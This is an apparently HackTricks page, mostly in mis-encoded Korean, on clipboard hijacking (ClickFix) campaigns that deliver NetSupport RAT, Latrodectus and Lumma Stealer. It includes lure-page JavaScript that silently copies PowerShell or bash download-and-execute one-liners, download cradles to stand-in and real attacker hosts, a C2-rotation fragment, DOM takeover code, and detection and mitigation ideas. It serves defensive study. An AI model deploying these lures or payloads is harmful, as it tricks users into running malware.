Clipboard Hijacking (Pastejacking) Attacks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

โ€œ์ง์ ‘ ๋ณต์‚ฌํ•˜์ง€ ์•Š์€ ๊ฒƒ์€ ์ ˆ๋Œ€ ๋ถ™์—ฌ๋„ฃ์ง€ ๋งˆ๋ผ.โ€ โ€“ ์˜ค๋ž˜๋œ ์กฐ์–ธ์ด์ง€๋งŒ ์—ฌ์ „ํžˆ ์œ ํšจํ•˜๋‹ค

Overview

Clipboard hijacking โ€“ also known as pastejacking โ€“ ์‚ฌ์šฉ์ž๊ฐ€ ๋ช…๋ น์„ ์ž์„ธํžˆ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  ์Šต๊ด€์ ์œผ๋กœ ๋ณต์‚ฌยท๋ถ™์—ฌ๋„ฃ๊ธฐํ•œ๋‹ค๋Š” ์ ์„ ์•…์šฉํ•œ๋‹ค. ์•…์„ฑ ์›นํŽ˜์ด์ง€(๋˜๋Š” JavaScript ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•œ Electron ๋˜๋Š” Desktop ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๊ฐ™์€ ์–ด๋–ค ์ปจํ…์ŠคํŠธ)๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ…์ŠคํŠธ๋ฅผ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์ ์œผ๋กœ ์‹œ์Šคํ…œ ํด๋ฆฝ๋ณด๋“œ์— ๋„ฃ๋Š”๋‹ค. ํ”ผํ•ด์ž๋Š” ๋ณดํ†ต ์ •๊ตํ•œ ์‚ฌํšŒ๊ณตํ•™์  ์ง€์นจ์œผ๋กœ ์œ ๋„๋˜์–ด Win + R (Run dialog), Win + X (Quick Access / PowerShell)๋ฅผ ๋ˆ„๋ฅด๊ฑฐ๋‚˜ ํ„ฐ๋ฏธ๋„์„ ์—ด์–ด ํด๋ฆฝ๋ณด๋“œ ๋‚ด์šฉ์„ ๋ถ™์—ฌ๋„ฃ๊ธฐํ•˜๊ณ  ๊ทธ ์ฆ‰์‹œ ์ž„์˜์˜ ๋ช…๋ น์ด ์‹คํ–‰๋œ๋‹ค.

ํŒŒ์ผ์ด ๋‹ค์šด๋กœ๋“œ๋˜์ง€ ์•Š๊ณ  ์ฒจ๋ถ€ํŒŒ์ผ์ด ์—ด๋ฆฌ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ์ด ๊ธฐ๋ฒ•์€ ์ฒจ๋ถ€ํŒŒ์ผ, ๋งคํฌ๋กœ ๋˜๋Š” ์ง์ ‘ ๋ช…๋ น ์‹คํ–‰์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋Œ€๋ถ€๋ถ„์˜ ์ด๋ฉ”์ผ ๋ฐ ์›น ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ œ์–ด๋ฅผ ์šฐํšŒํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ๊ณต๊ฒฉ์€ NetSupport RAT, Latrodectus loader, Lumma Stealer์™€ ๊ฐ™์€ ๋ฒ”์šฉ ๋ฉ€์›จ์–ด ๊ณ„์—ด์„ ๋ฐฐํฌํ•˜๋Š” ํ”ผ์‹ฑ ์บ ํŽ˜์ธ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋œ๋‹ค.

Forced copy buttons and hidden payloads (macOS one-liners)

์ผ๋ถ€ macOS infostealer๋Š” ์„ค์น˜ ์‚ฌ์ดํŠธ(์˜ˆ: Homebrew)๋ฅผ ๋ณต์ œํ•˜๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ๋ณด์ด๋Š” ํ…์ŠคํŠธ๋งŒ ์„ ํƒํ•˜์ง€ ๋ชปํ•˜๋„๋ก โ€œCopyโ€ ๋ฒ„ํŠผ ์‚ฌ์šฉ์„ ๊ฐ•์ œํ•œ๋‹ค. ํด๋ฆฝ๋ณด๋“œ ํ•ญ๋ชฉ์—๋Š” ์˜ˆ์ƒ๋˜๋Š” ์„ค์น˜ ๋ช…๋ น๊ณผ ๋’ค์— ์ด์–ด๋ถ™์€ Base64 ํŽ˜์ด๋กœ๋“œ(์˜ˆ: ...; echo <b64> | base64 -d | sh)๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์–ด, ํ•œ ๋ฒˆ์˜ ๋ถ™์—ฌ๋„ฃ๊ธฐ๋กœ ๋‘˜ ๋‹ค ์‹คํ–‰๋˜๋ฉฐ UI๋Š” ์ถ”๊ฐ€ ๋‹จ๊ณ„๋ฅผ ์ˆจ๊ธด๋‹ค.

JavaScript ๊ฐœ๋… ์ฆ๋ช… (PoC)

<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press  Win+R , paste and hit Enter to fix the problem.'));
}
</script>

์ด์ „ ์บ ํŽ˜์ธ๋“ค์€ document.execCommand('copy')๋ฅผ ์‚ฌ์šฉํ–ˆ๊ณ , ์ตœ์‹  ์บ ํŽ˜์ธ๋“ค์€ ๋น„๋™๊ธฐ Clipboard API (navigator.clipboard.writeText)์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค.

ClickFix / ClearFake ํ๋ฆ„

  1. ์‚ฌ์šฉ์ž๊ฐ€ ์˜คํƒ€ ๋„๋ฉ”์ธ(typosquatted) ๋˜๋Š” ํƒˆ์ทจ๋œ ์‚ฌ์ดํŠธ(์˜ˆ: docusign.sa[.]com)์— ๋ฐฉ๋ฌธํ•ฉ๋‹ˆ๋‹ค.
  2. ์ฃผ์ž…๋œ ClearFake JavaScript๊ฐ€ unsecuredCopyToClipboard() ํ—ฌํผ๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํด๋ฆฝ๋ณด๋“œ์— Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ PowerShell ์›๋ผ์ด๋„ˆ๋ฅผ ์กฐ์šฉํžˆ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
  3. HTML ์ง€์นจ์€ ํ”ผํ•ด์ž์—๊ฒŒ ๋‹ค์Œ์„ ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค: โ€œWin + R ํ‚ค๋ฅผ ๋ˆ„๋ฅด๊ณ , ๋ช…๋ น์„ ๋ถ™์—ฌ๋„ฃ์€ ๋’ค Enter๋ฅผ ๋ˆŒ๋Ÿฌ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜์„ธ์š”.โ€
  4. powershell.exe๊ฐ€ ์‹คํ–‰๋˜์–ด ํ•ฉ๋ฒ•์ ์ธ ์‹คํ–‰ํŒŒ์ผ๊ณผ ์•…์„ฑ DLL์„ ํฌํ•จํ•œ ์•„์นด์ด๋ธŒ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค(๊ณ ์ „์ ์ธ DLL sideloading).
  5. ๋กœ๋”๋Š” ์ถ”๊ฐ€ ์Šคํ…Œ์ด์ง€๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๊ณ , shellcode๋ฅผ ์ธ์ ์…˜ํ•˜๋ฉฐ persistence๋ฅผ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: scheduled task) โ€” ๊ฒฐ๊ตญ NetSupport RAT / Latrodectus / Lumma Stealer๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

NetSupport RAT ์ฒด์ธ ์˜ˆ์‹œ

powershell -nop -w hidden -enc <Base64>
# โ†“ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
  • jp2launcher.exe (์ •์ƒ์ ์ธ Java WebStart)๋Š” ์ž์‹ ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ msvcp140.dll์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.
  • ํ•ด๋‹น ์•…์„ฑ DLL์€ GetProcAddress๋กœ API๋ฅผ ๋™์ ์œผ๋กœ ํ•ด๊ฒฐํ•˜๊ณ , curl.exe๋ฅผ ํ†ตํ•ด ๋‘ ๊ฐœ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ(data_3.bin, data_4.bin)๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋ฉฐ, ๋กค๋ง XOR ํ‚ค "https://google.com/"๋กœ ์ด๋ฅผ ๋ณตํ˜ธํ™”ํ•œ ๋’ค ์ตœ์ข… shellcode๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  client32.exe (NetSupport RAT)๋ฅผ C:\ProgramData\SecurityCheck_v1\์— ์••์ถ• ํ•ด์ œํ•ฉ๋‹ˆ๋‹ค.

Latrodectus Loader

powershell -nop -enc <Base64>  # Cloud Identificator: 2031
  1. curl.exe๋กœ la.txt๋ฅผ ๋‹ค์šด๋กœ๋“œํ•จ
  2. cscript.exe ๋‚ด๋ถ€์—์„œ JScript downloader๋ฅผ ์‹คํ–‰ํ•จ
  3. MSI payload๋ฅผ ๊ฐ€์ ธ์˜ด โ†’ ์„œ๋ช…๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์˜†์— libcef.dll์„ ๋“œ๋กญํ•จ โ†’ DLL sideloading โ†’ shellcode โ†’ Latrodectus.

Lumma Stealer via MSHTA

mshta https://iplogger.co/xxxx =+\\xxx

The mshta ํ˜ธ์ถœ์€ ์ˆจ๊ฒจ์ง„ PowerShell ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ PartyContinued.exe๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ , Boat.pst(CAB)๋ฅผ ์ถ”์ถœํ•˜๋ฉฐ, extrac32์™€ ํŒŒ์ผ ์—ฐ๊ฒฐ์„ ํ†ตํ•ด AutoIt3.exe๋ฅผ ์žฌ๊ตฌ์„ฑํ•œ ๋‹ค์Œ .a3x ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด ๋ธŒ๋ผ์šฐ์ € ์ž๊ฒฉ ์ฆ๋ช…์„ sumeriavgv.digital๋กœ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค.

ClickFix: Clipboard โ†’ PowerShell โ†’ JS eval โ†’ Startup LNK with rotating C2 (PureHVNC)

์ผ๋ถ€ ClickFix ์บ ํŽ˜์ธ์€ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์™„์ „ํžˆ ๊ฑด๋„ˆ๋›ฐ๊ณ  ํ”ผํ•ด์ž์—๊ฒŒ WSH๋ฅผ ํ†ตํ•ด JavaScript๋ฅผ ๊ฐ€์ ธ์™€ ์‹คํ–‰ํ•˜๋Š” oneโ€‘liner๋ฅผ ๋ถ™์—ฌ๋„ฃ๋„๋ก ์ง€์‹œํ•œ ๋’ค ์ด๋ฅผ ์˜๊ตฌํ™”(persist)ํ•˜๊ณ  C2๋ฅผ ๋งค์ผ ํšŒ์ „์‹œํ‚ต๋‹ˆ๋‹ค. ๊ด€์ฐฐ๋œ ์˜ˆ์‹œ ์ฒด์ธ:

powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prะตss Entะตr

ํ•ต์‹ฌ ํŠน์„ฑ

  • ํ”ผ์ƒ์ ์ธ ๊ฒ€์‚ฌ๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์‹คํ–‰(runtime) ์‹œ ์—ญ์ˆœ์œผ๋กœ ๋ณต์›๋˜๋Š” ๋‚œ๋…ํ™”๋œ URL.
  • JavaScript๋Š” Startup LNK (WScript/CScript)๋ฅผ ํ†ตํ•ด ์ง€์†์„ฑ์„ ํ™•๋ณดํ•˜๊ณ , ํ˜„์žฌ ๋‚ ์งœ์— ๋”ฐ๋ผ C2๋ฅผ ์„ ํƒํ•˜์—ฌ ๋น ๋ฅธ domain rotation์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•จ.

๋‚ ์งœ๋ณ„๋กœ C2s๋ฅผ ํšŒ์ „์‹œํ‚ค๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” Minimal JS fragment:

function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}

๋‹ค์Œ ๋‹จ๊ณ„์—์„œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ persistence๋ฅผ ํ™•๋ฆฝํ•˜๊ณ  RAT(์˜ˆ: PureHVNC)์„ ๊ฐ€์ ธ์˜ค๋Š” loader๋ฅผ ๋ฐฐํฌํ•˜๋ฉฐ, ์ข…์ข… TLS๋ฅผ ํ•˜๋“œ์ฝ”๋“œ๋œ certificate์— pinningํ•˜๊ณ  ํŠธ๋ž˜ํ”ฝ์„ chunkingํ•ฉ๋‹ˆ๋‹ค.

Detection ideas specific to this variant

  • ํ”„๋กœ์„ธ์Šค ํŠธ๋ฆฌ: explorer.exe โ†’ powershell.exe -c โ†’ wscript.exe <temp>\a.js (๋˜๋Š” cscript.exe).
  • ์‹œ์ž‘ ํ•ญ๋ชฉ ์•„ํ‹ฐํŒฉํŠธ: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup์— ์žˆ๋Š” LNK๊ฐ€ %TEMP%/%APPDATA% ํ•˜์œ„์˜ JS ๊ฒฝ๋กœ๋กœ WScript/CScript๋ฅผ ํ˜ธ์ถœํ•จ.
  • Registry/RunMRU ๋ฐ ๋ช…๋ น์ค„ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ์— .split('').reverse().join('') ๋˜๋Š” eval(a.responseText) ํฌํ•จ.
  • ๊ธด ๋ช…๋ น์ค„์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ํฐ stdin ํŽ˜์ด๋กœ๋“œ๋กœ ๊ธด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ณต๊ธ‰ํ•˜๋Š” ๋ฐ˜๋ณต์ ์ธ powershell -NoProfile -NonInteractive -Command -.
  • ์ดํ›„์— LOLBins๋ฅผ ์‹คํ–‰ํ•˜๋Š” Scheduled Tasks, ์˜ˆ: updater์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ์ž‘์—…/๊ฒฝ๋กœ(์˜ˆ: \GoogleSystem\GoogleUpdater) ์•„๋ž˜์—์„œ regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll" ๊ฐ™์€ ํ˜ธ์ถœ.

Threat hunting

  • .../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection> ํŒจํ„ด์„ ๊ฐ€์ง„ ์ผ๋ณ„ ํšŒ์ „ํ•˜๋Š” C2 ํ˜ธ์ŠคํŠธ๋„ค์ž„ ๋ฐ URL.
  • clipboard write ์ด๋ฒคํŠธ ๋‹ค์Œ์— Win+R paste๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  ์ฆ‰์‹œ powershell.exe๊ฐ€ ์‹คํ–‰๋˜๋Š” ํ๋ฆ„์„ ์ƒ๊ด€๊ด€๊ณ„ ๋ถ„์„.

Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:

  • Windows Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU๋Š” Win + R ๋ช…๋ น์˜ ํžˆ์Šคํ† ๋ฆฌ๋ฅผ ๋ณด๊ด€ โ€” ๋น„์ •์ƒ์ ์ธ Base64 / ๋‚œ๋…ํ™”๋œ ์—”ํŠธ๋ฆฌ๋ฅผ ์ฐพ์œผ์„ธ์š”.
  • Security Event ID 4688 (Process Creation)์—์„œ ParentImage == explorer.exe์ด๊ณ  NewProcessName์ด { powershell.exe, wscript.exe, mshta.exe, curl.exe, cmd.exe }์— ํฌํ•จ๋˜๋Š” ๊ฒฝ์šฐ.
  • Event ID 4663: ์˜์‹ฌ์Šค๋Ÿฌ์šด 4688 ์ด๋ฒคํŠธ ์ง์ „์— %LocalAppData%\Microsoft\Windows\WinX\ ๋˜๋Š” ์ž„์‹œ ํด๋”์—์„œ์˜ ํŒŒ์ผ ์ƒ์„ฑ ์ด๋ฒคํŠธ.
  • EDR clipboard sensors(์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ) โ€“ Clipboard Write ์งํ›„ ์ƒˆ๋กœ์šด PowerShell ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ƒ์„ฑ๋˜๋Š” ๊ฒƒ์„ ์ƒ๊ด€๊ด€๊ณ„ ๋ถ„์„.

IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads

์ตœ๊ทผ ์บ ํŽ˜์ธ๋“ค์€ ๊ฐ€์งœ CDN/browser verification ํŽ˜์ด์ง€(โ€œJust a momentโ€ฆโ€, IUAM-style)๋ฅผ ๋Œ€๋Ÿ‰์œผ๋กœ ์ƒ์„ฑํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ clipboard์—์„œ OS๋ณ„ ๋ช…๋ น์„ ๋ณต์‚ฌํ•ด ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ˜์†”๋กœ ๋ถ™์—ฌ๋„ฃ๋„๋ก ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ ์‹คํ–‰์„ ๋ธŒ๋ผ์šฐ์ € ์ƒŒ๋“œ๋ฐ•์Šค ๋ฐ–์œผ๋กœ ์ „ํ™˜ํ•˜๋ฉฐ Windows์™€ macOS ์ „๋ฐ˜์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

๋นŒ๋”๊ฐ€ ์ƒ์„ฑํ•œ ํŽ˜์ด์ง€์˜ ์ฃผ์š” ํŠน์„ฑ

  • navigator.userAgent๋ฅผ ํ†ตํ•œ OS ํƒ์ง€๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋งž์ถค (Windows PowerShell/CMD vs. macOS Terminal). ์ง€์›๋˜์ง€ ์•Š๋Š” OS์—๋Š” ์ฐฉ์‹œ ์œ ์ง€๋ฅผ ์œ„ํ•ด ์„ ํƒ์  decoys/no-ops ์ œ๊ณต.
  • ๋ณด์ด๋Š” ํ…์ŠคํŠธ์™€ clipboard ๋‚ด์šฉ์ด ๋‹ค๋ฅผ ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์—์„œ ์ฒดํฌ๋ฐ•์Šค/Copy ๊ฐ™์€ ์ •์ƒ UI ๋™์ž‘์œผ๋กœ ์ž๋™ clipboard-copy ์ˆ˜ํ–‰.
  • ๋ชจ๋ฐ”์ผ ์ฐจ๋‹จ ๋ฐ ๋‹จ๊ณ„๋ณ„ ์•ˆ๋‚ด๊ฐ€ ์žˆ๋Š” ํŒ์˜ค๋ฒ„: Windows โ†’ Win+Rโ†’pasteโ†’Enter; macOS โ†’ open Terminalโ†’pasteโ†’Enter.
  • Optional obfuscation๊ณผ ๋‹จ์ผ ํŒŒ์ผ injector๋กœ ์†์ƒ๋œ ์‚ฌ์ดํŠธ์˜ DOM์„ Tailwind-styled verification UI๋กœ ๋ฎ์–ด์“ฐ๊ธฐ (์ƒˆ ๋„๋ฉ”์ธ ๋“ฑ๋ก ๋ถˆํ•„์š”).

Example: clipboard mismatch + OS-aware branching

<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok';            // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');

function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}

document.getElementById('chk').addEventListener('click', copyReal);
</script>

์ดˆ๊ธฐ ์‹คํ–‰์˜ macOS persistence

  • nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ„ฐ๋ฏธ๋„์ด ๋‹ซํžŒ ํ›„์—๋„ ์‹คํ–‰์ด ๊ณ„์†๋˜๋„๋ก ํ•˜์—ฌ ๋ˆˆ์— ๋„๋Š” ํ”์ ์„ ์ค„์ž…๋‹ˆ๋‹ค.

์†์ƒ๋œ ์‚ฌ์ดํŠธ์—์„œ In-place page takeover

<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html;                 // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com';                     // apply Tailwind styles
document.head.appendChild(s);
})();
</script>

Detection & hunting ideas specific to IUAM-style lures

  • Web: Clipboard API๋ฅผ verification widgets์— ๋ฐ”์ธ๋”ฉํ•˜๋Š” ํŽ˜์ด์ง€; ํ‘œ์‹œ๋œ ํ…์ŠคํŠธ์™€ ํด๋ฆฝ๋ณด๋“œ ํŽ˜์ด๋กœ๋“œ์˜ ๋ถˆ์ผ์น˜; navigator.userAgent ๋ถ„๊ธฐ; ์˜์‹ฌ์Šค๋Ÿฌ์šด ์ปจํ…์ŠคํŠธ์—์„œ Tailwind + single-page ๊ต์ฒด.
  • Windows endpoint: ๋ธŒ๋ผ์šฐ์ € ์ƒํ˜ธ์ž‘์šฉ ์งํ›„ explorer.exe โ†’ powershell.exe/cmd.exe ์‹คํ–‰; %TEMP%์—์„œ ์‹คํ–‰๋œ batch/MSI ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ.
  • macOS endpoint: Terminal/iTerm์ด ๋ธŒ๋ผ์šฐ์ € ์ด๋ฒคํŠธ ๊ทผ์ฒ˜์—์„œ nohup๊ณผ ํ•จ๊ป˜ bash/curl/base64 -d๋ฅผ ์‹คํ–‰; ํ„ฐ๋ฏธ๋„ ์ข…๋ฃŒ ํ›„์—๋„ ์‚ด์•„๋‚จ๋Š” ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ž‘์—….
  • RunMRU Win+R ๊ธฐ๋ก ๋ฐ ํด๋ฆฝ๋ณด๋“œ ์“ฐ๊ธฐ์™€ ์ดํ›„ ์ฝ˜์†” ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ ๊ฐ„์˜ ์ƒ๊ด€๊ด€๊ณ„ ํ™•์ธ.

See also for supporting techniques

Clone a Website

Homograph Attacks

์™„ํ™” ์กฐ์น˜

  1. ๋ธŒ๋ผ์šฐ์ € ๊ฐ•ํ™” โ€“ ํด๋ฆฝ๋ณด๋“œ ์“ฐ๊ธฐ ์ ‘๊ทผ(dom.events.asyncClipboard.clipboardItem ๋“ฑ)์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž ์ œ์Šค์ฒ˜๋ฅผ ์š”๊ตฌ.
  2. ๋ณด์•ˆ ์ธ์‹ ๊ต์œก โ€“ ๋ฏผ๊ฐํ•œ ๋ช…๋ น์€ ์ง์ ‘ ํƒ€์ดํ•‘ํ•˜๊ฑฐ๋‚˜ ๋จผ์ € ํ…์ŠคํŠธ ํŽธ์ง‘๊ธฐ์— ๋ถ™์—ฌ๋„ฃ๋„๋ก ๊ต์œก.
  3. PowerShell Constrained Language Mode / Execution Policy + Application Control์„ ์‚ฌ์šฉํ•ด ์ž„์˜์˜ one-liners ์ฐจ๋‹จ.
  4. ๋„คํŠธ์›Œํฌ ์ œ์–ด โ€“ ์•Œ๋ ค์ง„ pastejacking ๋ฐ malware C2 ๋„๋ฉ”์ธ์œผ๋กœ์˜ ์•„์›ƒ๋ฐ”์šด๋“œ ์š”์ฒญ ์ฐจ๋‹จ.

๊ด€๋ จ ํŠธ๋ฆญ

  • Discord Invite Hijacking์€ ์‚ฌ์šฉ์ž๋ฅผ ์•…์„ฑ ์„œ๋ฒ„๋กœ ์œ ์ธํ•œ ๋’ค ๋™์ผํ•œ ClickFix ์ ‘๊ทผ์„ ์•…์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค:

Discord Invite Hijacking

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ